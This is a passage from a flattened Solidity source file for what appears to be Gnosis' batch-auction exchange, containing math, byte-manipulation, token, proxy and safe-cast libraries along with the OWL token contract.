withdraws from non-final updates, we disallow withdraws * by setting lastCreditBatchId to the current batchId and allow only withdraws in batches * with a higher batchId. */ function addBalanceAndBlockWithdrawForThisBatch(address user, address token, uint256 amount) internal { if (hasValidWithdrawRequest(user, token)) { lastCreditBatchId[user][token] = getCurrentBatchId(); } addBalance(user, token, amount); } function addBalance(address user, address token, uint256 amount) internal { updateDepositsBalance(user, token); balanceStates[user][token].balance = balanceStates[user][token].balance.add(amount); } function subtractBalance(address user, address token, uint256 amount) internal { updateDepositsBalance(user, token); balanceStates[user][token].balance = balanceStates[user][token].balance.sub(amount); } function updateDepositsBalance(address user, address token) private { if (balanceStates[user][token].pendingDeposits.batchId < getCurrentBatchId()) { balanceStates[user][token].balance = balanceStates[user][token].balance.add( balanceStates[user][token].pendingDeposits.amount ); delete balanceStates[user][token].pendingDeposits; } } } // File: @gnosis.pm/solidity-data-structures/contracts/libraries/IdToAddressBiMap.sol pragma solidity ^0.5.0; library IdToAddressBiMap { struct Data { mapping(uint16 => address) idToAddress; mapping(address => uint16) addressToId; } function hasId(Data storage self, uint16 id) public view returns (bool) { return self.idToAddress[id + 1] != address(0); } function hasAddress(Data storage self, address addr) public view returns (bool) { return self.addressToId[addr] != 0; } function getAddressAt(Data storage self, uint16 id) public view returns (address) { require(hasId(self, id), "Must have ID to get Address"); return self.idToAddress[id + 1]; } function getId(Data storage self, address addr) public view returns (uint16) { require(hasAddress(self, addr), "Must have Address to get ID"); return self.addressToId[addr] - 1; } function insert(Data storage self, uint16 id, address addr) public returns (bool) { // Ensure bijectivity of the mappings if (self.addressToId[addr] != 0 || self.idToAddress[id + 1] != address(0)) { return false; } self.idToAddress[id + 1] = addr; self.addressToId[addr] = id + 1; return true; } } // File: @gnosis.pm/solidity-data-structures/contracts/libraries/IterableAppendOnlySet.sol pragma solidity ^0.5.0; library IterableAppendOnlySet { struct Data { mapping(address => address) nextMap; address last; } function insert(Data storage self, address value) public returns (bool) { if (contains(self, value)) { return false; } self.nextMap[self.last] = value; self.last = value; return true; } function contains(Data storage self, address value) public view returns (bool) { require(value != address(0), "Inserting address(0) is not supported"); return self.nextMap[value] != address(0) || (self.last == value); } function first(Data storage self) public view returns (address) { require(self.last != address(0), "Trying to get first from empty set"); return self.nextMap[address(0)]; } function next(Data storage self, address value) public view returns (address) { require(contains(self, value), "Trying to get next of non-existent element"); require(value != self.last, "Trying to get next of last element"); return self.nextMap[value]; } function size(Data storage self) public view returns (uint256) { if (self.last == address(0)) { return 0; } uint256 count = 1; address current = first(self); while (current != self.last) { current = next(self, current); count++; } return count; } } // File: @gnosis.pm/util-contracts/contracts/Math.sol pragma solidity ^0.5.2; /// @title Math library - Allows calculation of logarithmic and exponential functions /// @author Alan Lu - <[email protected]> /// @author Stefan George - <[email protected]> library GnosisMath { /* * Constants */ // This is equal to 1 in our calculations uint public constant ONE = 0x10000000000000000; uint public constant LN2 = 0xb17217f7d1cf79ac; uint public constant LOG2_E = 0x171547652b82fe177; /* * Public functions */ /// @dev Returns natural exponential function value of given x /// @param x x /// @return e**x function exp(int x) public pure returns (uint) { // revert if x is > MAX_POWER, where // MAX_POWER = int(mp.floor(mp.log(mpf(2**256 - 1) / ONE) * ONE)) require(x <= 2454971259878909886679); // return 0 if exp(x) is tiny, using // MIN_POWER = int(mp.floor(mp.log(mpf(1) / ONE) * ONE)) if (x < -818323753292969962227) return 0; // Transform so that e^x -> 2^x x = x * int(ONE) / int(LN2); // 2^x = 2^whole(x) * 2^frac(x) // ^^^^^^^^^^ is a bit shift // so Taylor expand on z = frac(x) int shift; uint z; if (x >= 0) { shift = x / int(ONE); z = uint(x % int(ONE)); } else { shift = x / int(ONE) - 1; z = ONE - uint(-x % int(ONE)); } // 2^x = 1 + (ln 2) x + (ln 2)^2/2! x^2 + ... // // Can generate the z coefficients using mpmath and the following lines // >>> from mpmath import mp // >>> mp.dps = 100 // >>> ONE = 0x10000000000000000 // >>> print('\n'.join(hex(int(mp.log(2)**i / mp.factorial(i) * ONE)) for i in range(1, 7))) // 0xb17217f7d1cf79ab // 0x3d7f7bff058b1d50 // 0xe35846b82505fc5 // 0x276556df749cee5 // 0x5761ff9e299cc4 // 0xa184897c363c3 uint zpow = z; uint result = ONE; result += 0xb17217f7d1cf79ab * zpow / ONE; zpow = zpow * z / ONE; result += 0x3d7f7bff058b1d50 * zpow / ONE; zpow = zpow * z / ONE; result += 0xe35846b82505fc5 * zpow / ONE; zpow = zpow * z / ONE; result += 0x276556df749cee5 * zpow / ONE; zpow = zpow * z / ONE; result += 0x5761ff9e299cc4 * zpow / ONE; zpow = zpow * z / ONE; result += 0xa184897c363c3 * zpow / ONE; zpow = zpow * z / ONE; result += 0xffe5fe2c4586 * zpow / ONE; zpow = zpow * z / ONE; result += 0x162c0223a5c8 * zpow / ONE; zpow = zpow * z / ONE; result += 0x1b5253d395e * zpow / ONE; zpow = zpow * z / ONE; result += 0x1e4cf5158b * zpow / ONE; zpow = zpow * z / ONE; result += 0x1e8cac735 * zpow / ONE; zpow = zpow * z / ONE; result += 0x1c3bd650 * zpow / ONE; zpow = zpow * z / ONE; result += 0x1816193 * zpow / ONE; zpow = zpow * z / ONE; result += 0x131496 * zpow / ONE; zpow = zpow * z / ONE; result += 0xe1b7 * zpow / ONE; zpow = zpow * z / ONE; result += 0x9c7 * zpow / ONE; if (shift >= 0) { if (result >> (256 - shift) > 0) return (2 ** 256 - 1); return result << shift; } else return result >> (-shift); } /// @dev Returns natural logarithm value of given x /// @param x x /// @return ln(x) function ln(uint x) public pure returns (int) { require(x > 0); // binary search for floor(log2(x)) int ilog2 = floorLog2(x); int z; if (ilog2 < 0) z = int(x << uint(-ilog2)); else z = int(x >> uint(ilog2)); // z = x * 2^-⌊log₂x⌋ // so 1 <= z < 2 // and ln z = ln x - ⌊log₂x⌋/log₂e // so just compute ln z using artanh series // and calculate ln x from that int term = (z - int(ONE)) * int(ONE) / (z + int(ONE)); int halflnz = term; int termpow = term * term / int(ONE) * term / int(ONE); halflnz += termpow / 3; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 5; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 7; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 9; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 11; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 13; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 15; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 17; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 19; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 21; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 23; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 25; return (ilog2 * int(ONE)) * int(ONE) / int(LOG2_E) + 2 * halflnz; } /// @dev Returns base 2 logarithm value of given x /// @param x x /// @return logarithmic value function floorLog2(uint x) public pure returns (int lo) { lo = -64; int hi = 193; // I use a shift here instead of / 2 because it floors instead of rounding towards 0 int mid = (hi + lo) >> 1; while ((lo + 1) < hi) { if (mid < 0 && x << uint(-mid) < ONE || mid >= 0 && x >> uint(mid) < ONE) hi = mid; else lo = mid; mid = (hi + lo) >> 1; } } /// @dev Returns maximum of an array /// @param nums Numbers to look through /// @return Maximum number function max(int[] memory nums) public pure returns (int maxNum) { require(nums.length > 0); maxNum = -2 ** 255; for (uint i = 0; i < nums.length; i++) if (nums[i] > maxNum) maxNum = nums[i]; } /// @dev Returns whether an add operation causes an overflow /// @param a First addend /// @param b Second addend /// @return Did no overflow occur? function safeToAdd(uint a, uint b) internal pure returns (bool) { return a + b >= a; } /// @dev Returns whether a subtraction operation causes an underflow /// @param a Minuend /// @param b Subtrahend /// @return Did no underflow occur? function safeToSub(uint a, uint b) internal pure returns (bool) { return a >= b; } /// @dev Returns whether a multiply operation causes an overflow /// @param a First factor /// @param b Second factor /// @return Did no overflow occur? function safeToMul(uint a, uint b) internal pure returns (bool) { return b == 0 || a * b / b == a; } /// @dev Returns sum if no overflow occurred /// @param a First addend /// @param b Second addend /// @return Sum function add(uint a, uint b) internal pure returns (uint) { require(safeToAdd(a, b)); return a + b; } /// @dev Returns difference if no overflow occurred /// @param a Minuend /// @param b Subtrahend /// @return Difference function sub(uint a, uint b) internal pure returns (uint) { require(safeToSub(a, b)); return a - b; } /// @dev Returns product if no overflow occurred /// @param a First factor /// @param b Second factor /// @return Product function mul(uint a, uint b) internal pure returns (uint) { require(safeToMul(a, b)); return a * b; } /// @dev Returns whether an add operation causes an overflow /// @param a First addend /// @param b Second addend /// @return Did no overflow occur? function safeToAdd(int a, int b) internal pure returns (bool) { return (b >= 0 && a + b >= a) || (b < 0 && a + b < a); } /// @dev Returns whether a subtraction operation causes an underflow /// @param a Minuend /// @param b Subtrahend /// @return Did no underflow occur? function safeToSub(int a, int b) internal pure returns (bool) { return (b >= 0 && a - b <= a) || (b < 0 && a - b > a); } /// @dev Returns whether a multiply operation causes an overflow /// @param a First factor /// @param b Second factor /// @return Did no overflow occur? function safeToMul(int a, int b) internal pure returns (bool) { return (b == 0) || (a * b / b == a); } /// @dev Returns sum if no overflow occurred /// @param a First addend /// @param b Second addend /// @return Sum function add(int a, int b) internal pure returns (int) { require(safeToAdd(a, b)); return a + b; } /// @dev Returns difference if no overflow occurred /// @param a Minuend /// @param b Subtrahend /// @return Difference function sub(int a, int b) internal pure returns (int) { require(safeToSub(a, b)); return a - b; } /// @dev Returns product if no overflow occurred /// @param a First factor /// @param b Second factor /// @return Product function mul(int a, int b) internal pure returns (int) { require(safeToMul(a, b)); return a * b; } } // File: @gnosis.pm/util-contracts/contracts/Token.sol /// Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md pragma solidity ^0.5.2; /// @title Abstract token contract - Functions to be implemented by token contracts contract Token { /* * Events */ event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); /* * Public functions */ function transfer(address to, uint value) public returns (bool); function transferFrom(address from, address to, uint value) public returns (bool); function approve(address spender, uint value) public returns (bool); function balanceOf(address owner) public view returns (uint); function allowance(address owner, address spender) public view returns (uint); function totalSupply() public view returns (uint); } // File: @gnosis.pm/util-contracts/contracts/Proxy.sol pragma solidity ^0.5.2; /// @title Proxied - indicates that a contract will be proxied. Also defines storage requirements for Proxy. /// @author Alan Lu - <[email protected]> contract Proxied { address public masterCopy; } /// @title Proxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <[email protected]> contract Proxy is Proxied { /// @dev Constructor function sets address of master copy contract. /// @param _masterCopy Master copy address. constructor(address _masterCopy) public { require(_masterCopy != address(0), "The master copy is required"); masterCopy = _masterCopy; } /// @dev Fallback function forwards all transactions and returns all received return data. function() external payable { address _masterCopy = masterCopy; assembly { calldatacopy(0, 0, calldatasize) let success := delegatecall(not(0), _masterCopy, 0, calldatasize, 0, 0) returndatacopy(0, 0, returndatasize) switch success case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } } // File: @gnosis.pm/util-contracts/contracts/GnosisStandardToken.sol pragma solidity ^0.5.2; /** * Deprecated: Use Open Zeppeling one instead */ contract StandardTokenData { /* * Storage */ mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowances; uint totalTokens; } /** * Deprecated: Use Open Zeppeling one instead */ /// @title Standard token contract with overflow protection contract GnosisStandardToken is Token, StandardTokenData { using GnosisMath for *; /* * Public functions */ /// @dev Transfers sender's tokens to a given address. Returns success /// @param to Address of token receiver /// @param value Number of tokens to transfer /// @return Was transfer successful? function transfer(address to, uint value) public returns (bool) { if (!balances[msg.sender].safeToSub(value) || !balances[to].safeToAdd(value)) { return false; } balances[msg.sender] -= value; balances[to] += value; emit Transfer(msg.sender, to, value); return true; } /// @dev Allows allowed third party to transfer tokens from one address to another. Returns success /// @param from Address from where tokens are withdrawn /// @param to Address to where tokens are sent /// @param value Number of tokens to transfer /// @return Was transfer successful? function transferFrom(address from, address to, uint value) public returns (bool) { if (!balances[from].safeToSub(value) || !allowances[from][msg.sender].safeToSub( value ) || !balances[to].safeToAdd(value)) { return false; } balances[from] -= value; allowances[from][msg.sender] -= value; balances[to] += value; emit Transfer(from, to, value); return true; } /// @dev Sets approved amount of tokens for spender. Returns success /// @param spender Address of allowed account /// @param value Number of approved tokens /// @return Was approval successful? function approve(address spender, uint value) public returns (bool) { allowances[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /// @dev Returns number of allowed tokens for given address /// @param owner Address of token owner /// @param spender Address of token spender /// @return Remaining allowance for spender function allowance(address owner, address spender) public view returns (uint) { return allowances[owner][spender]; } /// @dev Returns number of tokens owned by given address /// @param owner Address of token owner /// @return Balance of owner function balanceOf(address owner) public view returns (uint) { return balances[owner]; } /// @dev Returns total supply of tokens /// @return Total supply function totalSupply() public view returns (uint) { return totalTokens; } } // File: @gnosis.pm/owl-token/contracts/TokenOWL.sol pragma solidity ^0.5.2; contract TokenOWL is Proxied, GnosisStandardToken { using GnosisMath for *; string public constant name = "OWL Token"; string public constant symbol = "OWL"; uint8 public constant decimals = 18; struct masterCopyCountdownType { address masterCopy; uint timeWhenAvailable; } masterCopyCountdownType masterCopyCountdown; address public creator; address public minter; event Minted(address indexed to, uint256 amount); event Burnt(address indexed from, address indexed user, uint256 amount); modifier onlyCreator() { // R1 require(msg.sender == creator, "Only the creator can perform the transaction"); _; } /// @dev trickers the update process via the proxyMaster for a new address _masterCopy /// updating is only possible after 30 days function startMasterCopyCountdown(address _masterCopy) public onlyCreator { require(address(_masterCopy) != address(0), "The master copy must be a valid address"); // Update masterCopyCountdown masterCopyCountdown.masterCopy = _masterCopy; masterCopyCountdown.timeWhenAvailable = now + 30 days; } /// @dev executes the update process via the proxyMaster for a new address _masterCopy function updateMasterCopy() public onlyCreator { require(address(masterCopyCountdown.masterCopy) != address(0), "The master copy must be a valid address"); require( block.timestamp >= masterCopyCountdown.timeWhenAvailable, "It's not possible to update the master copy during the waiting period" ); // Update masterCopy masterCopy = masterCopyCountdown.masterCopy; } function getMasterCopy() public view returns (address) { return masterCopy; } /// @dev Set minter. Only the creator of this contract can call this. /// @param newMinter The new address authorized to mint this token function setMinter(address newMinter) public onlyCreator { minter = newMinter; } /// @dev change owner/creator of the contract. Only the creator/owner of this contract can call this. /// @param newOwner The new address, which should become the owner function setNewOwner(address newOwner) public onlyCreator { creator = newOwner; } /// @dev Mints OWL. /// @param to Address to which the minted token will be given /// @param amount Amount of OWL to be minted function mintOWL(address to, uint amount) public { require(minter != address(0), "The minter must be initialized"); require(msg.sender == minter, "Only the minter can mint OWL"); balances[to] = balances[to].add(amount); totalTokens = totalTokens.add(amount); emit Minted(to, amount); emit Transfer(address(0), to, amount); } /// @dev Burns OWL. /// @param user Address of OWL owner /// @param amount Amount of OWL to be burnt function burnOWL(address user, uint amount) public { allowances[user][msg.sender] = allowances[user][msg.sender].sub(amount); balances[user] = balances[user].sub(amount); totalTokens = totalTokens.sub(amount); emit Burnt(msg.sender, user, amount); emit Transfer(user, address(0), amount); } function getMasterCopyCountdown() public view returns (address, uint) { return (masterCopyCountdown.masterCopy, masterCopyCountdown.timeWhenAvailable); } } // File: openzeppelin-solidity/contracts/utils/SafeCast.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's uintXX casting operators with added overflow * checks. * * Downcasting from uint256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} to extend it to smaller types, by performing * all math on `uint256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } } // File: solidity-bytes-utils/contracts/BytesLib.sol /* * @title Solidity Bytes Arrays Utils * @author Gonçalo Sá <[email protected]> * * @dev Bytes tightly packed arrays utility library for ethereum contracts written in Solidity. * The library lets you concatenate, slice and type cast bytes arrays both in memory and storage. */ pragma solidity ^0.5.0; library BytesLib { function concat( bytes memory _preBytes, bytes memory _postBytes ) internal pure returns (bytes memory) { bytes memory tempBytes; assembly { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // Store the length of the first bytes array at the beginning of // the memory for tempBytes. let length := mload(_preBytes) mstore(tempBytes, length) // Maintain a memory counter for the current write location in the // temp bytes array by adding the 32 bytes for the array length to // the starting location. let mc := add(tempBytes, 0x20) // Stop copying when the memory counter reaches the length of the // first bytes array. let end := add(mc, length) for { // Initialize a copy counter to the start of the _preBytes data, // 32 bytes into its memory. let cc := add(_preBytes, 0x20) } lt(mc, end) { // Increase both counters by 32 bytes each iteration. mc := add(mc, 0x20) cc := add(cc, 0x20) } { // Write the _preBytes data into the tempBytes memory 32 bytes // at a time. mstore(mc, mload(cc)) } // Add the length of _postBytes to the current length of tempBytes // and store it as the new length in the first 32 bytes of the // tempBytes memory. length := mload(_postBytes) mstore(tempBytes, add(length, mload(tempBytes))) // Move the memory counter back from a multiple of 0x20 to the // actual end of the _preBytes data. mc := end // Stop copying when the memory counter reaches the new combined // length of the arrays. end := add(mc, length) for { let cc := add(_postBytes, 0x20) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } // Update the free-memory pointer by padding our last write location // to 32 bytes: add 31 bytes to the end of tempBytes to move to the // next 32 byte block, then round down to the nearest multiple of // 32. If the sum of the length of the two arrays is zero then add // one before rounding down to leave a blank 32 bytes (the length block with 0). mstore(0x40, and( add(add(end, iszero(add(length, mload(_preBytes)))), 31), not(31) // Round down to the nearest 32 bytes. )) } return tempBytes; } function concatStorage(bytes storage _preBytes, bytes memory _postBytes) internal { assembly { // Read the first 32 bytes of _preBytes storage, which is the length // of the array. (We don't need to use the offset into the slot // because arrays use the entire slot.) let fslot := sload(_preBytes_slot) // Arrays of 31 bytes or less have an even value in their slot, // while longer arrays have an odd value. The actual length is // the slot divided by two for odd values, and the lowest order // byte divided by two for even values. // If the slot is even, bitwise and the slot with 255 and divide by // two to get the length. If the slot is odd, bitwise and the slot // with -1 and divide by two. let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2) let mlength := mload(_postBytes) let newlength := add(slength, mlength) // slength can contain both the length and contents of the array // if length < 32 bytes so let's prepare for that // v. http://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage switch add(lt(slength, 32), lt(newlength, 32)) case 2 { // Since the new array still fits in the slot, we just need to // update the contents of the slot. // uint256(bytes_storage) = uint256(bytes_storage) + uint256(bytes_memory) + new_length sstore( _preBytes_slot, // all the modifications to the slot are inside this // next block add( // we can just add to the slot contents because the // bytes we want to change are the LSBs fslot, add( mul( div( // load the bytes from memory mload(add(_postBytes, 0x20)), // zero all bytes to the right exp(0x100, sub(32, mlength)) ), // and now shift left the number of bytes to // leave space for the length in the slot exp(0x100, sub(32, newlength)) ), // increase length by the double of the memory // bytes length mul(mlength, 2) ) ) ) } case 1 { // The stored value fits in the slot, but the combined value // will exceed it. // get the keccak hash to get the contents of the array mstore(0x0, _preBytes_slot) let sc := add(keccak256(0x0, 0x20), div(slength, 32)) // save new length sstore(_preBytes_slot, add(mul(newlength, 2), 1)) // The contents of the _postBytes array start 32 bytes into // the structure. Our first read should obtain the `submod` // bytes that can fit into the unused space in the last word // of the stored array. To get this, we read 32 bytes starting // from `submod`, so the data we read overlaps with the array // contents by `submod` bytes. Masking the lowest-order // `submod` bytes allows us to add that value directly to the // stored value. let submod := sub(32, slength) let mc := add(_postBytes, submod) let end := add(_postBytes, mlength) let mask := sub(exp(0x100, submod), 1) sstore( sc, add( and( fslot, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00 ), and(mload(mc), mask) ) ) for { mc := add(mc, 0x20) sc := add(sc, 1) } lt(mc, end) { sc := add(sc, 1) mc := add(mc, 0x20) } { sstore(sc, mload(mc)) } mask := exp(0x100, sub(mc, end)) sstore(sc, mul(div(mload(mc), mask), mask)) } default { // get the keccak hash to get the contents of the array mstore(0x0, _preBytes_slot) // Start copying to the last used word of the stored array. let sc := add(keccak256(0x0, 0x20), div(slength, 32)) // save new length sstore(_preBytes_slot, add(mul(newlength, 2), 1)) // Copy over the first `submod` bytes of the new data as in // case 1 above. let slengthmod := mod(slength, 32) let mlengthmod := mod(mlength, 32) let submod := sub(32, slengthmod) let mc := add(_postBytes, submod) let end := add(_postBytes, mlength) let mask := sub(exp(0x100, submod), 1) sstore(sc, add(sload(sc), and(mload(mc), mask))) for { sc := add(sc, 1) mc := add(mc, 0x20) } lt(mc, end) { sc := add(sc, 1) mc := add(mc, 0x20) } { sstore(sc, mload(mc)) } mask := exp(0x100, sub(mc, end)) sstore(sc, mul(div(mload(mc), mask), mask)) } } } function slice( bytes memory _bytes, uint _start, uint _length ) internal pure returns (bytes memory) { require(_bytes.length >= (_start + _length)); bytes memory tempBytes; assembly { switch iszero(_length) case 0 { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(_length, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, _length) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } //if we want a zero-length slice let's just return a zero-length array default { tempBytes := mload(0x40) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function toAddress(bytes memory _bytes, uint _start) internal pure returns (address) { require(_bytes.length >= (_start + 20)); address tempAddress; assembly { tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000) } return tempAddress; } function toUint8(bytes memory _bytes, uint _start) internal pure returns (uint8) { require(_bytes.length >= (_start + 1)); uint8 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x1), _start)) } return tempUint; } function toUint16(bytes memory _bytes, uint _start) internal pure returns (uint16) { require(_bytes.length >= (_start + 2)); uint16 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x2), _start)) } return tempUint; } function toUint32(bytes memory _bytes, uint _start) internal pure returns (uint32) { require(_bytes.length >= (_start + 4)); uint32 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x4), _start)) } return tempUint; } function toUint64(bytes memory _bytes, uint _start) internal pure returns (uint64) { require(_bytes.length >= (_start + 8)); uint64 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x8), _start)) } return tempUint; } function toUint96(bytes memory _bytes, uint _start) internal pure returns (uint96) { require(_bytes.length >= (_start + 12)); uint96 tempUint; assembly { tempUint := mload(add(add(_bytes, 0xc), _start)) } return tempUint; } function toUint128(bytes memory _bytes, uint _start) internal pure returns (uint128) { require(_bytes.length >= (_start + 16)); uint128 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x10), _start)) } return tempUint; } function toUint(bytes memory _bytes, uint _start) internal pure returns (uint256) { require(_bytes.length >= (_start + 32)); uint256 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x20), _start)) } return tempUint; } function toBytes32(bytes memory _bytes, uint _start) internal pure returns (bytes32) { require(_bytes.length >= (_start + 32)); bytes32 tempBytes32; assembly { tempBytes32 := mload(add(add(_bytes, 0x20), _start)) } return tempBytes32; } function equal(bytes memory _preBytes, bytes memory _postBytes) internal pure returns (bool) { bool success = true; assembly { let length := mload(_preBytes) // if lengths don't match the arrays are not equal switch eq(length, mload(_postBytes)) case 1 { // cb is a circuit breaker in the for loop since there's // no said feature for inline assembly loops // cb = 1 - don't breaker // cb = 0 - break let cb := 1 let mc := add(_preBytes, 0x20) let end := add(mc, length) for { let cc := add(_postBytes, 0x20) // the next line is the loop condition: // while(uint(mc < end) + cb == 2) } eq(add(lt(mc, end), cb), 2) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { // if any of these checks fails then arrays are not equal if iszero(eq(mload(mc), mload(cc))) { // unsuccess: success := 0 cb := 0 } } } default { // unsuccess: success := 0 } } return success; } function equalStorage( bytes storage _preBytes, bytes memory _postBytes ) internal view returns (bool) { bool success = true; assembly { // we know _preBytes_offset is 0 let fslot := sload(_preBytes_slot) // Decode the length of the stored array like in concatStorage(). let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2) let mlength := mload(_postBytes) // if lengths don't match the arrays are not equal switch eq(slength, mlength) case 1 { // slength can contain both the length and contents of the array // if length < 32 bytes so let's prepare for that // v. http://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage if iszero(iszero(slength)) { switch lt(slength, 32) case 1 { // blank the last byte which is the length fslot := mul(div(fslot, 0x100), 0x100) if iszero(eq(fslot, mload(add(_postBytes, 0x20)))) { // unsuccess: success := 0 } } default { // cb is a circuit breaker in the for loop since there's // no said feature for inline assembly loops // cb = 1 - don't breaker // cb = 0 - break let cb := 1 // get the keccak hash to get the contents of the array mstore(0x0, _preBytes_slot) let sc := keccak256(0x0, 0x20) let mc := add(_postBytes, 0x20) let end := add(mc, mlength) // the next line is the loop condition: // while(uint(mc < end) + cb == 2) for {} eq(add(lt(mc, end), cb), 2) { sc := add(sc, 1) mc := add(mc, 0x20) } { if iszero(eq(sload(sc), mload(mc))) { // unsuccess: success := 0 cb := 0 } } } } } default { // unsuccess: success := 0 } } return success; } } // File: openzeppelin-solidity/contracts/drafts/SignedSafeMath.sol pragma solidity ^0.5.0; /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } // File: contracts/libraries/TokenConservation.sol pragma solidity ^0.5.0; /** @title Token Conservation * A library for updating and verifying the tokenConservation contraint for BatchExchange's batch auction * @author @gnosis/dfusion-team <https://github.com/orgs/gnosis/teams/dfusion-team/members> */ library TokenConservation { using SignedSafeMath for int256; /** @dev initialize the token conservation data structure * @param tokenIdsForPrice sorted list of tokenIds for which token conservation should be checked */ function init(uint16[] memory tokenIdsForPrice) internal pure returns (int256[] memory) { return new int256[](tokenIdsForPrice.length + 1); } /** @dev returns the token imbalance of the fee token * @param self internal datastructure created by TokenConservation.init() */ function feeTokenImbalance(int256[] memory self) internal pure returns (int256) { return self[0]; } /** @dev updated token conservation array. * @param self internal datastructure created by TokenConservation.init() * @param buyToken id of token whose imbalance should be subtracted from * @param sellToken id of token whose 